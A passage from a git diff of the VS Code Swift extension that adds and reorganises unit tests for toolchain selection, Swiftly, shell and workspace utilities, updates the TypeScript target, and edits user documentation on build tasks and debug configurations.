=> { - mockedPlatform.setValue("linux"); - const mockHomeDir = "/home/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({ - [path.join(mockHomeDir, "config.json")]: JSON.stringify({ - installedToolchains: ["swift-5.9.0", "swift-6.0.0"], - }), - }); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.deep.equal([ - path.join(mockHomeDir, "toolchains", "swift-5.9.0"), - path.join(mockHomeDir, "toolchains", "swift-6.0.0"), - ]); - }); - - test("returns installed toolchains on macOS", async () => { - mockedPlatform.setValue("darwin"); - const mockHomeDir = "/Users/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({ - [path.join(mockHomeDir, "config.json")]: JSON.stringify({ - installedToolchains: ["swift-5.9.0", "swift-6.0.0"], - }), - }); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.deep.equal([ - path.join(mockHomeDir, "toolchains", "swift-5.9.0"), - path.join(mockHomeDir, "toolchains", "swift-6.0.0"), - ]); - }); - - test("returns empty array when SWIFTLY_HOME_DIR is not set", async () => { - mockedPlatform.setValue("linux"); - mockedEnv.setValue({}); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.be.empty; - }); - - test("returns empty array when config file does not exist", async () => { - mockedPlatform.setValue("linux"); - const mockHomeDir = "/home/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({}); - - await expect(Swiftly.listAvailableToolchains()).to.be.rejected.then(error => { - expect(error.message).to.include( - "Failed to retrieve Swiftly installations from disk" - ); - }); - }); - - test("returns empty array when config has no installedToolchains", async () => { - mockedPlatform.setValue("linux"); - const mockHomeDir = "/home/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({ - [path.join(mockHomeDir, "config.json")]: JSON.stringify({ - someOtherProperty: "value", - }), - }); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.be.empty; - }); - - test("returns empty array on Windows", async () => { - mockedPlatform.setValue("win32"); - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.be.empty; - }); - - test("filters out non-string toolchain entries", async () => { - mockedPlatform.setValue("linux"); - const mockHomeDir = "/home/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({ - [path.join(mockHomeDir, "config.json")]: JSON.stringify({ - installedToolchains: ["swift-5.9.0", null, "swift-6.0.0", 123, "swift-6.1.0"], - }), - }); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.deep.equal([ - path.join(mockHomeDir, "toolchains", "swift-5.9.0"), - path.join(mockHomeDir, "toolchains", "swift-6.0.0"), - path.join(mockHomeDir, "toolchains", "swift-6.1.0"), - ]); - }); - }); }); diff --git a/test/unit-tests/ui/PackageDependencyProvider.test.ts b/test/unit-tests/ui/PackageDependencyProvider.test.ts index 3d8758a22..671b27a84 100644 --- a/test/unit-tests/ui/PackageDependencyProvider.test.ts +++ b/test/unit-tests/ui/PackageDependencyProvider.test.ts @@ -11,12 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; +import * as fs from "fs/promises"; import * as path from "path"; import * as vscode from "vscode"; -import * as fs from "fs/promises"; -import { FileNode, PackageNode } from "../../../src/ui/ProjectPanelProvider"; + +import { FileNode, PackageNode } from "@src/ui/ProjectPanelProvider"; + import { mockGlobalModule } from "../../MockUtils"; suite("PackageDependencyProvider Unit Test Suite", function () { diff --git a/test/unit-tests/ui/ReloadExtension.test.ts b/test/unit-tests/ui/ReloadExtension.test.ts index 49c05b36b..d9b2befcb 100644 --- a/test/unit-tests/ui/ReloadExtension.test.ts +++ b/test/unit-tests/ui/ReloadExtension.test.ts @@ -11,12 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// -import { beforeEach } from "mocha"; import { expect } from "chai"; -import { mockGlobalObject } from "../../MockUtils"; +import { beforeEach } from "mocha"; import * as vscode from "vscode"; -import { showReloadExtensionNotificationInstance } from "../../../src/ui/ReloadExtension"; -import { Workbench } from "../../../src/utilities/commands"; + +import { showReloadExtensionNotificationInstance } from "@src/ui/ReloadExtension"; +import { Workbench } from "@src/utilities/commands"; + +import { mockGlobalObject } from "../../MockUtils"; suite("showReloadExtensionNotification()", function () { const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); diff --git a/test/unit-tests/ui/SwiftBuildStatus.test.ts b/test/unit-tests/ui/SwiftBuildStatus.test.ts index 050a14910..5b972fe55 100644 --- a/test/unit-tests/ui/SwiftBuildStatus.test.ts +++ b/test/unit-tests/ui/SwiftBuildStatus.test.ts @@ -12,21 +12,23 @@ // //===----------------------------------------------------------------------===// import { expect } from "chai"; -import configuration from "../../../src/configuration"; import * as vscode from "vscode"; + +import configuration from "@src/configuration"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { StatusItem } from "@src/ui/StatusItem"; +import { SwiftBuildStatus } from "@src/ui/SwiftBuildStatus"; + import { - mockGlobalValue, - mockGlobalObject, - mockObject, MockedObject, - mockGlobalEvent, instance, mockFn, + mockGlobalEvent, + mockGlobalObject, + mockGlobalValue, + mockObject, } from "../../MockUtils"; -import { SwiftExecution } from "../../../src/tasks/SwiftExecution"; import { TestSwiftProcess } from "../../fixtures"; -import { StatusItem } from "../../../src/ui/StatusItem"; -import { SwiftBuildStatus } from "../../../src/ui/SwiftBuildStatus"; suite("SwiftBuildStatus Unit Test Suite", function () { const windowMock = mockGlobalObject(vscode, "window"); diff --git a/test/unit-tests/ui/ToolchainSelection.test.ts b/test/unit-tests/ui/ToolchainSelection.test.ts new file mode 100644 index 000000000..5c7ee7067 --- /dev/null +++ b/test/unit-tests/ui/ToolchainSelection.test.ts @@ -0,0 +1,382 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as mockFS from "mock-fs"; +import * as path from "path"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { Swiftly } from "@src/toolchain/swiftly"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { showToolchainSelectionQuickPick } from "@src/ui/ToolchainSelection"; +import * as utilities from "@src/utilities/utilities"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockGlobalValue, + mockObject, +} from "../../MockUtils"; + +suite("ToolchainSelection Unit Test Suite", () => { + const mockedUtilities = mockGlobalModule(utilities); + const mockedPlatform = mockGlobalValue(process, "platform"); + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + const mockedVSCodeCommands = mockGlobalObject(vscode, "commands"); + const mockedVSCodeEnv = mockGlobalObject(vscode, "env"); + const mockedVSCodeWorkspace = mockGlobalObject(vscode, "workspace"); + const mockedSwiftToolchain = mockGlobalModule(SwiftToolchain); + const mockedSwiftly = mockGlobalModule(Swiftly); + let mockedConfiguration: MockedObject; + let mockedLogger: MockedObject; + + setup(() => { + mockFS({}); + mockedUtilities.execFile.rejects( + new Error("execFile was not properly mocked for this test.") + ); + + mockedLogger = mockObject({}); + + // Set up VSCode mocks + mockedVSCodeWindow.showQuickPick.resolves(undefined); + mockedVSCodeWindow.showOpenDialog.resolves(undefined); + mockedVSCodeWindow.showErrorMessage.resolves(undefined); + mockedVSCodeWindow.showWarningMessage.resolves(undefined); + mockedVSCodeWindow.showInformationMessage.resolves(undefined); + mockedVSCodeWindow.withProgress.callsFake(async (_options, task) => { + return await task({ report: () => {} }, {} as any); + }); + mockedVSCodeCommands.executeCommand.resolves(undefined); + mockedVSCodeEnv.openExternal.resolves(true); + + // Mock workspace configuration to prevent actual settings writes + mockedConfiguration = mockObject({ + update: mockFn(), + inspect: mockFn(s => s.returns({})), + get: mockFn(), + has: mockFn(s => s.returns(false)), + }); + mockedVSCodeWorkspace.getConfiguration.returns(instance(mockedConfiguration)); + mockedVSCodeWorkspace.workspaceFolders = [ + { + index: 0, + name: "test", + uri: vscode.Uri.file("/path/to/workspace"), + }, + ]; + + // Mock SwiftToolchain static methods + mockedSwiftToolchain.findXcodeInstalls.resolves([]); + mockedSwiftToolchain.getToolchainInstalls.resolves([]); + mockedSwiftToolchain.getXcodeDeveloperDir.resolves(""); + + // Mock Swiftly static methods + mockedSwiftly.list.resolves([]); + mockedSwiftly.listAvailable.resolves([]); + mockedSwiftly.inUseVersion.resolves(undefined); + mockedSwiftly.use.resolves(); + mockedSwiftly.installToolchain.resolves(); + }); + + teardown(() => { + mockFS.restore(); + }); + + suite("macOS", () => { + setup(() => { + mockedPlatform.setValue("darwin"); + }); + + test("shows Xcode toolchains", async () => { + mockedSwiftToolchain.findXcodeInstalls.resolves([ + "/Applications/Xcode-beta.app", + "/Applications/Xcode.app", + ]); + // Extract the Xcode toolchain labels and simulate user cancellation + let xcodeToolchains: string[] = []; + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + xcodeToolchains = (await items) + .filter((t: any) => t.category === "xcode") + .map((t: any) => t.label); + return undefined; + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(xcodeToolchains).to.deep.equal(["Xcode", "Xcode-beta"]); + }); + + test("user is able to set an Xcode toolchain for their workspace", async () => { + mockedSwiftToolchain.findXcodeInstalls.resolves(["/Applications/Xcode.app"]); + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const xcodeToolchains = (await items).filter( + (t: any) => t.category === "xcode" + ); + return xcodeToolchains[0]; + }); + // User selects Workspace Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Workspace Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + path.normalize( + "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin" + ), + vscode.ConfigurationTarget.Workspace + ); + }); + + test("user is able to set a global Xcode toolchain", async () => { + mockedSwiftToolchain.findXcodeInstalls.resolves(["/Applications/Xcode.app"]); + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const xcodeToolchains = (await items).filter( + (t: any) => t.category === "xcode" + ); + return xcodeToolchains[0]; + }); + // User selects Global Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Global Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + path.normalize( + "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin" + ), + vscode.ConfigurationTarget.Global + ); + }); + + test("shows public toolchains installed by the user", async () => { + mockedSwiftToolchain.getToolchainInstalls.resolves([ + "/Library/Developer/Toolchains/swift-main-DEVELOPMENT", + "/Library/Developer/Toolchains/swift-6.2-RELEASE", + ]); + // Extract the Xcode toolchain labels and simulate user cancellation + let publicToolchains: string[] = []; + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + publicToolchains = (await items) + .filter((t: any) => t.category === "public") + .map((t: any) => t.label); + return undefined; + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(publicToolchains).to.deep.equal(["swift-main-DEVELOPMENT", "swift-6.2-RELEASE"]); + }); + + test("shows toolchains installed via Swiftly", async () => { + mockedSwiftly.list.resolves(["6.2.0", "6.0.0", "5.9.3"]); + // Extract the Swiftly toolchain labels and simulate user cancellation + let swiftlyToolchains: string[] = []; + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + swiftlyToolchains = (await items) + .filter((t: any) => t.category === "swiftly") + .map((t: any) => t.label); + return undefined; + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(swiftlyToolchains).to.deep.equal(["6.2.0", "6.0.0", "5.9.3"]); + }); + + test("user is able to set a Swiftly toolchain for their workspace", async () => { + mockedSwiftly.list.resolves(["6.2.0"]); + mockedSwiftToolchain.findXcodeInstalls.resolves(["/Applications/Xcode.app"]); + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const swiftlyToolchains = (await items).filter( + (t: any) => t.category === "swiftly" + ); + return swiftlyToolchains[0]; + }); + // User selects Workspace Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Workspace Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedSwiftly.use).to.have.been.calledWith( + "6.2.0", + path.normalize("/path/to/workspace") + ); + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + undefined, + vscode.ConfigurationTarget.Workspace + ); + }); + + test("user is able to set a global Swiftly toolchain", async () => { + mockedSwiftly.list.resolves(["6.2.0"]); + mockedSwiftToolchain.findXcodeInstalls.resolves(["/Applications/Xcode.app"]); + mockedVSCodeWorkspace.workspaceFolders = [ + { + index: 0, + name: "test", + uri: vscode.Uri.file("/path/to/workspace"), + }, + ]; + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const swiftlyToolchains = (await items).filter( + (t: any) => t.category === "swiftly" + ); + return swiftlyToolchains[0]; + }); + // User selects Global Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Global Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedSwiftly.use).to.have.been.calledWith("6.2.0"); + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + undefined, + vscode.ConfigurationTarget.Global + ); + }); + }); + + suite("Linux", () => { + setup(() => { + mockedPlatform.setValue("linux"); + }); + + test("shows toolchains installed via Swiftly", async () => { + mockedSwiftly.list.resolves(["6.2.0", "6.0.0", "5.9.3"]); + // Extract the Swiftly toolchain labels and simulate user cancellation + let swiftlyToolchains: string[] = []; + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + swiftlyToolchains = (await items) + .filter((t: any) => t.category === "swiftly") + .map((t: any) => t.label); + return undefined; + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(swiftlyToolchains).to.deep.equal(["6.2.0", "6.0.0", "5.9.3"]); + }); + + test("user is able to set a Swiftly toolchain for their workspace", async () => { + mockedSwiftly.list.resolves(["6.2.0"]); + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const swiftlyToolchains = (await items).filter( + (t: any) => t.category === "swiftly" + ); + return swiftlyToolchains[0]; + }); + // User selects Workspace Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Workspace Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedSwiftly.use).to.have.been.calledWith( + "6.2.0", + path.normalize("/path/to/workspace") + ); + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + undefined, + vscode.ConfigurationTarget.Workspace + ); + }); + + test("user is able to set a global Swiftly toolchain", async () => { + mockedSwiftly.list.resolves(["6.2.0"]); + mockedVSCodeWorkspace.workspaceFolders = [ + { + index: 0, + name: "test", + uri: vscode.Uri.file("/path/to/workspace"), + }, + ]; + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const swiftlyToolchains = (await items).filter( + (t: any) => t.category === "swiftly" + ); + return swiftlyToolchains[0]; + }); + // User selects Global Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Global Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedSwiftly.use).to.have.been.calledWith("6.2.0"); + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + undefined, + vscode.ConfigurationTarget.Global + ); + }); + }); +}); diff --git a/test/unit-tests/utilities/filesystem.test.ts b/test/unit-tests/utilities/filesystem.test.ts index 231a23101..6cde1278c 100644 --- a/test/unit-tests/utilities/filesystem.test.ts +++ b/test/unit-tests/utilities/filesystem.test.ts @@ -11,16 +11,16 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import { expect } from "chai"; import * as path from "path"; import { Uri } from "vscode"; + import { - isPathInsidePath, expandFilePathTilde, isExcluded, isIncluded, -} from "../../../src/utilities/filesystem"; -import { expect } from "chai"; + isPathInsidePath, +} from "@src/utilities/filesystem"; suite("File System Utilities Unit Test Suite", () => { test("isPathInsidePath", () => { diff --git a/test/unit-tests/utilities/shell.test.ts b/test/unit-tests/utilities/shell.test.ts new file mode 100644 index 000000000..e9d329951 --- /dev/null +++ b/test/unit-tests/utilities/shell.test.ts @@ -0,0 +1,62 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { afterEach, beforeEach } from "mocha"; +import * as sinon from "sinon"; + +import { findBinaryPath } from "@src/utilities/shell"; +import * as utilities from "@src/utilities/utilities"; + +suite("Shell Unit Test Suite", () => { + let execFileStub: sinon.SinonStub; + + beforeEach(() => { + execFileStub = sinon.stub(utilities, "execFile"); + }); + + afterEach(() => { + sinon.restore(); + }); + + suite("findBinaryPath", () => { + test("returns the path to a binary in the PATH", async () => { + execFileStub.resolves({ + stdout: "node is /usr/local/bin/node\n", + stderr: "", + }); + + const binaryPath = await findBinaryPath("node"); + expect(binaryPath).to.equal("/usr/local/bin/node"); + expect(execFileStub).to.have.been.calledWith("/bin/sh", [ + "-c", + "LC_MESSAGES=C type node", + ]); + }); + + test("throws for a non-existent binary", async () => { + execFileStub.resolves({ + stdout: "", + stderr: "sh: type: nonexistentbinary: not found\n", + }); + + try { + await findBinaryPath("nonexistentbinary"); + expect.fail("Expected an error to be thrown for a non-existent binary"); + } catch (error) { + expect(error).to.be.an("error"); + expect((error as Error).message).to.include("nonexistentbinary"); + } + }); + }); +}); diff --git a/test/unit-tests/utilities/utilities.test.ts b/test/unit-tests/utilities/utilities.test.ts index ba5ced70b..586cb9836 100644 --- a/test/unit-tests/utilities/utilities.test.ts +++ b/test/unit-tests/utilities/utilities.test.ts @@ -11,19 +11,19 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; +import { Range } from "vscode"; + import { + getErrorDescription, getRepositoryName, - stringArrayInEnglish, - regexEscapedString, hashString, - getErrorDescription, - swiftPlatformLibraryPathKey, + regexEscapedString, runtimeEnv, sourceLocationToVSCodeLocation, -} from "../../../src/utilities/utilities"; -import { Range } from "vscode"; + stringArrayInEnglish, + swiftPlatformLibraryPathKey, +} from "@src/utilities/utilities"; suite("Utilities Unit Test Suite", () => { suite("getRepositoryName", () => { diff --git a/test/unit-tests/utilities/version.test.ts b/test/unit-tests/utilities/version.test.ts index b930dbe4d..5acc7a714 100644 --- a/test/unit-tests/utilities/version.test.ts +++ b/test/unit-tests/utilities/version.test.ts @@ -11,9 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; -import { Version } from "../../../src/utilities/version"; + +import { Version } from "@src/utilities/version"; suite("Version Suite", () => { suite("fromString", () => { diff --git a/test/unit-tests/utilities/workspace.test.ts b/test/unit-tests/utilities/workspace.test.ts index 7ca500fc0..0b032efb7 100644 --- a/test/unit-tests/utilities/workspace.test.ts +++ b/test/unit-tests/utilities/workspace.test.ts @@ -11,26 +11,111 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import { expect } from "chai"; import * as vscode from "vscode"; -import { searchForPackages } from "../../../src/utilities/workspace"; + +import { Version } from "@src/utilities/version"; +import { searchForPackages } from "@src/utilities/workspace"; + import { testAssetUri } from "../../fixtures"; -import { expect } from "chai"; suite("Workspace Utilities Unit Test Suite", () => { suite("searchForPackages", () => { const packageFolder = testAssetUri("ModularPackage"); const firstModuleFolder = vscode.Uri.joinPath(packageFolder, "Module1"); const secondModuleFolder = vscode.Uri.joinPath(packageFolder, "Module2"); + const testSwiftVersion = new Version(5, 9, 0); test("returns only root package when search for subpackages disabled", async () => { - const folders = await searchForPackages(packageFolder, false, false); + const folders = await searchForPackages( + packageFolder, + false, + false, + [], + testSwiftVersion + ); - expect(folders.map(folder => folder.fsPath)).eql([packageFolder.fsPath]); + expect(folders.map(folder => folder.fsPath)).deep.equal([packageFolder.fsPath]); }); test("returns subpackages when search for subpackages enabled", async () => { - const folders = await searchForPackages(packageFolder, false, true); + const folders = await searchForPackages( + packageFolder, + false, + true, + [], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath).sort()).deep.equal([ + packageFolder.fsPath, + firstModuleFolder.fsPath, + secondModuleFolder.fsPath, + ]); + }); + + test("skips specified folders when skipFolders contains Module1", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + ["Module1"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath).sort()).deep.equal([ + packageFolder.fsPath, + secondModuleFolder.fsPath, + ]); + }); + + test("skips specified folders when skipFolders contains Module2", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + ["Module2"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath).sort()).deep.equal([ + packageFolder.fsPath, + firstModuleFolder.fsPath, + ]); + }); + + test("skips multiple folders when skipFolders contains both modules", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + ["Module1", "Module2"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath)).deep.equal([packageFolder.fsPath]); + }); + + test("skipFolders has no effect when search for subpackages is disabled", async () => { + const folders = await searchForPackages( + packageFolder, + false, + false, + ["Module1", "Module2"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath)).deep.equal([packageFolder.fsPath]); + }); + + test("skipFolders with non-existent folder names does not affect results", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + ["NonExistentModule", "AnotherFakeModule"], + testSwiftVersion + ); expect(folders.map(folder => folder.fsPath).sort()).deep.equal([ packageFolder.fsPath, diff --git a/test/utilities/commands.ts b/test/utilities/commands.ts index 0b52378d4..292b80930 100644 --- a/test/utilities/commands.ts +++ b/test/utilities/commands.ts @@ -11,9 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { Workbench } from "../../src/utilities/commands"; + +import { Workbench } from "@src/utilities/commands"; export async function closeAllEditors() { await vscode.commands.executeCommand(Workbench.ACTION_CLOSEALLEDITORS); diff --git a/test/utilities/debug.ts b/test/utilities/debug.ts index 0b475b74c..a7c4ddf62 100644 --- a/test/utilities/debug.ts +++ b/test/utilities/debug.ts @@ -11,11 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// -import * as vscode from "vscode"; import { DebugProtocol } from "@vscode/debugprotocol"; -import { Workbench } from "../../src/utilities/commands"; -import { DebugAdapter } from "../../src/debugger/debugAdapter"; -import { Version } from "../../src/utilities/version"; +import * as vscode from "vscode"; + +import { DebugAdapter } from "@src/debugger/debugAdapter"; +import { Workbench } from "@src/utilities/commands"; +import { Version } from "@src/utilities/version"; export async function continueSession(): Promise { await vscode.commands.executeCommand(Workbench.ACTION_DEBUG_CONTINUE); diff --git a/test/utilities/tasks.ts b/test/utilities/tasks.ts index 6b455765e..52fa267d1 100644 --- a/test/utilities/tasks.ts +++ b/test/utilities/tasks.ts @@ -11,12 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import { AssertionError } from "chai"; import * as vscode from "vscode"; + +import { SwiftTask } from "@src/tasks/SwiftTaskProvider"; + +import { SwiftTaskFixture } from "../fixtures"; + // eslint-disable-next-line @typescript-eslint/no-require-imports import stripAnsi = require("strip-ansi"); -import { SwiftTaskFixture } from "../fixtures"; -import { SwiftTask } from "../../src/tasks/SwiftTaskProvider"; export type Mutable = { -readonly [K in keyof T]: T[K]; @@ -38,17 +41,18 @@ export async function executeTaskAndWaitForResult( ): Promise<{ exitCode?: number; output: string }> { const task = "task" in fixture ? fixture.task : fixture; const exitPromise = waitForEndTaskProcess(task); - return await vscode.tasks.executeTask(task).then(async execution => { - let output = ""; - const runningTask = execution.task as SwiftTask; - const disposables = [runningTask.execution.onDidWrite(e => (output += e))]; - const exitCode = await exitPromise; - disposables.forEach(d => d.dispose()); - return { - output, - exitCode, - }; - }); + + const execution = await vscode.tasks.executeTask(task); + + let output = ""; + const runningTask = execution.task as SwiftTask; + const disposables = [runningTask.execution.onDidWrite(e => (output += e))]; + const exitCode = await exitPromise; + disposables.forEach(d => d.dispose()); + return { + output, + exitCode, + }; } /** @@ -118,6 +122,57 @@ export function waitForNoRunningTasks(options?: { timeout: number }): Promise { + this.completedTasks.push(event.execution.task); + }), + ]; + } + + /** Asserts that a task was completed with the given name. */ + assertTaskCompletedByName(name: string): void { + if (this.completedTasks.find(t => t.name.includes(name))) { + return; + } + const createStringArray = (arr: string[]): string => { + return "[\n" + arr.map(s => " " + s).join(",\n") + "\n]"; + }; + throw new AssertionError(`expected a task with name "${name}" to have completed.`, { + actual: createStringArray(this.completedTasks.map(t => t.name)), + expected: createStringArray([name]), + showDiff: true, + }); + } + + dispose() { + this.subscriptions.forEach(s => s.dispose()); + } +} + +/** Executes the given callback with a TaskWatcher that listens to the VS Code tasks API for the duration of the callback. */ +export async function withTaskWatcher( + task: (watcher: TaskWatcher) => Promise +): Promise { + const watcher = new TaskWatcher(); + try { + await task(watcher); + } finally { + watcher.dispose(); + } +} + /** * Ideally we would want to use {@link executeTaskAndWaitForResult} but that * requires the tests creating the task through some means. If the diff --git a/tsconfig-base.json b/tsconfig-base.json index b2cabb90b..0a88c91b3 100644 --- a/tsconfig-base.json +++ b/tsconfig-base.json @@ -5,8 +5,8 @@ "rootDir": ".", "outDir": "dist", - "lib": ["ES2021"], - "target": "ES2020", + "lib": ["ES2022"], + "target": "ES2022", "module": "commonjs", "strict": true, diff --git a/userdocs/userdocs.docc/Articles/Features/automatic-task-creation.md b/userdocs/userdocs.docc/Articles/Features/automatic-task-creation.md index b0b8cc5ed..4d08cd1e3 100644 --- a/userdocs/userdocs.docc/Articles/Features/automatic-task-creation.md +++ b/userdocs/userdocs.docc/Articles/Features/automatic-task-creation.md @@ -5,9 +5,17 @@ Add tasks for common operations with your Package. For workspaces that contain a `Package.swift` file, the Swift extension adds the following tasks: - **Build All**: Build all targets in the Package. -- **Build Debug **: Each executable in a Package.swift get a task for building a debug build. -- **Build Release **: Each executable in a Package.swift get a task for building a release build. +- **Build Debug \**: Each executable product in a Package.swift get a task for building a debug build. +- **Build Release \**: Each executable product in a Package.swift get a task for building a release build. > 💡 Tip: Tasks use workflows common to all VS Code extensions. For more information see [the VS Code documentation for tasks](https://code.visualstudio.com/docs/editor/tasks). These tasks are available via the commands **Terminal ▸ Run Task...** and **Terminal ▸ Run Build Task...** in the command palette. + +## Create tasks for library targets + +By default build tasks are only automatically created for executable products. If you set the `swift.createTasksForLibraryProducts` setting to true, then additional tasks will be created: +- **Build Debug \**: Each library product in a Package.swift get a task for building a debug build. +- **Build Release \**: Each library product in a Package.swift get a task for building a release build. + +> ⚠️ Important: Tasks will not be created for automatic library products, as you cannot specify a `--product` option for automatic products when building. For more information see the [Swift Package Manager documentation for Product definitions](https://docs.swift.org/package-manager/PackageDescription/PackageDescription.html#product). \ No newline at end of file diff --git a/userdocs/userdocs.docc/Articles/Features/debugging.md b/userdocs/userdocs.docc/Articles/Features/debugging.md index 0337d4881..b57d623bc 100644 --- a/userdocs/userdocs.docc/Articles/Features/debugging.md +++ b/userdocs/userdocs.docc/Articles/Features/debugging.md @@ -29,11 +29,25 @@ The most basic launch configuration uses the `"launch"` request and provides a p } ``` +For SwiftPM based projects, you may specify a `target` and `configuration` instead of a `program` to make your debug configurations shareable between different developers on different platforms: + +```javascript +{ + "label": "Debug my-executable", // Human readable name for the configuration + "type": "swift", // All Swift launch configurations use the same type + "request": "launch", // Launch an executable + "target": "my-executable", + "configuration": "debug" +} +``` + There are many more options that you can specify which will alter the behavior of the debugger: | Parameter | Type | Description | |-------------------------------|-------------|---------------------| | program | string | 